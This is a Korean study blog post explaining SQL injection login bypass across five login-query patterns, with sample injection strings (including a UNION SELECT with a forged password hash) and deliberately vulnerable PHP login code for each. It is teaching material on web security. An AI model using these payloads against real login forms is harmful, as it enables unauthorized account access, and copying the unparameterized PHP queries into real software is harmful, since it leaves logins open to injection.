본문 바로가기

WebHacking

WebHacking - (4)로그인 유형별 SQL Injection을 이용한 로그인 우회

이번 내용은 로그인 유형별 SQL Injection을 이용한 로그인 우회 개념 설명이다.

로그인 유형별 종류는 따로 정의된 건 아니지만, 공부를 가르쳐 주시는 분이 분류하기 위해 쓴 표현인 듯 하다.

 

1. 식별 & 인증 동시

- SQL 문에서 ID와 PW를 동시에 처리하여 동작하는 방식이다.

- 이용 구문 : SELECT id, pw, name from member where id='$id' and pw='$pw' 

- 공격 구문 : ' or '1'='1' #

- 동작 구문 : SELECT id, pw, name from member where id='' or '1'='1' #' and pw='$pw'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
session_start();
 
include './db_connect.php';
$id=$_POST['i_id'];
$pw=$_POST['i_pw'];
$sql="select id,pw,name from member where id='$id' and pw='$pw'";
$result=mysqli_query($connect$sql);
$record=mysqli_fetch_array($result);
if(!$record) {
        echo "로그인 실패했습니다<br> ID  또는 비밀번호가 일치하지 않습니다.<br>
                ".mysqli_error($connect);
        exit;
}
$_SESSION['c_id']=$record['id'];
echo "<br><br><h1>".$record['name']."님 환영합니다!</h1>";
 
mysqli_close($connect);
?>
 
cs

동작 구문에서 id=' '(거짓) or '1'='1' (참) # 뒷 부분 주석처리가 되는데, or 조건문에 의해 참인 결과가 나오게 되면서 로그인 우회가 가능하다. (#은 해당하는 행의 # 뒷 부분을 모두 주석처리 한다. => ' and pw=$'pw' 부분은 주석처리 됨)

 

2. 식별 & 인증 분리

- SQL 문에서 ID와 PW를 분리하여 처리해 동작하는 방식이다. (ID를 먼저 확인 후 나중에 DB의 PW와 입력받은 PW를 비교한다.)

- 이용 구문 : SELECT id, pw, name from member where id='$id'

- 공격 구문 : id=' union select 'test',5555,'Hack / pw=5555

- 동작 구문 : SELECT id, pw, name from member where id=' ' union select 'test',5555,'Hack '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
 
include './db_connect.php';
$id=$_POST['i_id'];
$pw=$_POST['i_pw'];
$sql="select id,pw,name from member where id='$id'";
$result=mysqli_query($connect$sql);
$record=mysqli_fetch_array($result);
 
 
if($record['pw']!==$pw) {
        echo "로그인 실패했습니다<br> ID  또는 비밀번호가 일치하지 않습니다.<br>
                ".mysqli_error($connect);
        exit;
        }
$_SESSION['c_id']=$record['id'];
echo "<br><br><h1>".$record['name']."님 환영합니다!</h1>";
 
mysqli_close($connect);
?>
 
cs

동작 구문이 SELECT id, pw, name from member where id=' ' union select 'test',5555,'Hack ' 라고 완성되는데

여기에선 UNION의 개념을 알고 있어야 한다.

SQL 문법에서 UNION은 각각의 쿼리의 결과값을 결합해 반환해주는데 각 쿼리의 열의 개수와 데이터 타입이 일치해야 동작한다.

 

동작 구문을 실행 시켰을 경우 아래 그림과 같이 결과값을 반환해 준다. (실제로 test 계정의 비밀번호는 1111 이다.)

ID 쪽에서 해당 구문이 동작하고 입력하는 PW 부분에 5555라는 값을 넣게되면 DB에 저장된 PW와 입력받은 PW를 비교할 때 참인 결과를 얻어 로그인 우회가 가능해진다.

 

3. 식별 & 인증 동시 (Hash 처리)

- SQL 문에서 ID와 PW를 동시에 처리하여 동작하는 방식이나, PW를 Hash 함수를 사용해 해시값으로 확인한다.

- 이용 구문 : SELECT id, pw, name from member where id=’$id‘ and pw=md5(’$pw‘)

- 공격 구문 : ' or '1'='1' #

- 동작 구문 : SELECT id, pw, name from member where id='' or '1'='1' #' and pw=md5('$pw')

해당 로그인 우회는 #에 의해 뒷 부분이 주석처리 되어 1번과 동일하게 로그인 우회가 가능하다.

 

4. 식별 & 인증 분리 (Hash 처리)

- SQL 문에서 ID와 PW를 분리하여 처리해 동작하는 방식이다. (ID를 먼저 확인 후 나중에 DB의 PW의 해시값과 입력받은 PW의 해시값을 비교한다.)

- 이용 구문 : SELECT id, pw, name from member where id='$id'

- 공격 구문 : id=' union select 'test',md5('5555'),'Hack / pw=5555

- 동작 구문 : SELECT id, pw, name from member where id=' ' union select 'test',md5('5555'),'Hack '

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
 
include './db_connect.php';
$id=$_POST['i_id'];
$pw=$_POST['i_pw'];
$sql="select id,pw from member where id='$id'";
$result=mysqli_query($connect$sql);
$record=mysqli_fetch_array($result);
 
 
if($record['pw']!==md5($pw)) {
        echo "로그인 실패했습니다<br> ID  또는 비밀번호가 일치하지 않습니다.<br>
                ".mysqli_error($connect);
        exit;
        }
$_SESSION['c_id']=$record['id'];
echo "<br><br><h1>".$record['id']."님 환영합니다!</h1>";
 
mysqli_close($connect);
?>
 
cs

PHP 코드에서 IF문을 살펴보면 입력받은 PW를 md5 함수로 DB의 PW와 비교하고 있으므로 2번의 공격 구문과 비슷하게 공격 구문을 넣을때 비밀번호를 md5 함수로 해시처리 하여 참인 결과를 얻어내 로그인 우회를 할 수 있다.

 

아래 그림과 같이 '5555'의 md5로 해시처리 된 값을 반환해준다.

 

5. 식별 & 인증 동시 (개행)

- SQL 문에서 ID와 PW를 동시에 처리하나, 중간에 개행을 넣어 동작하는 방식이다.

- 이용 구문 :

SELECT id, pw, name from member where id=’$id’

                                 and pw=’$pw’ 

- 공격 구문 : test' or '1'='1

- 동작 구문 : SELECT id, pw, name from member where id= test' or '1'='1

                                 and pw=’$pw’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
 
include './db_connect.php';
$id=$_POST['i_id'];
$pw=$_POST['i_pw'];
$sql="select id,pw,name from member where id='$id'
        and pw='$pw'";
 
$result=mysqli_query($connect$sql);
$record=mysqli_fetch_array($result);
if(!$record) {
        echo "로그인 실패했습니다<br> ID  또는 비밀번호가 일치하지 않습니다.<br>
                ".mysqli_error($connect);
        exit;
}
$_SESSION['c_id']=$record['id'];
echo "<br><br><h1>".$record['name']."님 환영합니다!</h1>";
 
mysqli_close($connect);
?>
 
cs

마지막 유형으로 id 와 pw 사이에 개행을 넣어 동작하는 방식이다.

이 경우에는 AND와 OR의 연산자 우선순위를 알아야 한다. AND의 우선순위가 OR보다 높아서 동작 구문의 비교 순서는

id=' test' (참) or '1'='1' (참) and pw='$pw' (비밀번호는 틀렸다는 가정하에 거짓으로 보자)

연보라색 부분이 먼저 동작해 '참' 과 '거짓'의 AND 연산 결과는 '거짓' 이 되고, id=' test' (참) or '거짓'에서 OR 연산의 결과로 '참'이 된다.

이렇게 동작해서 SQL문의 결과가 참이 되므로 로그인 우회가 가능해진다.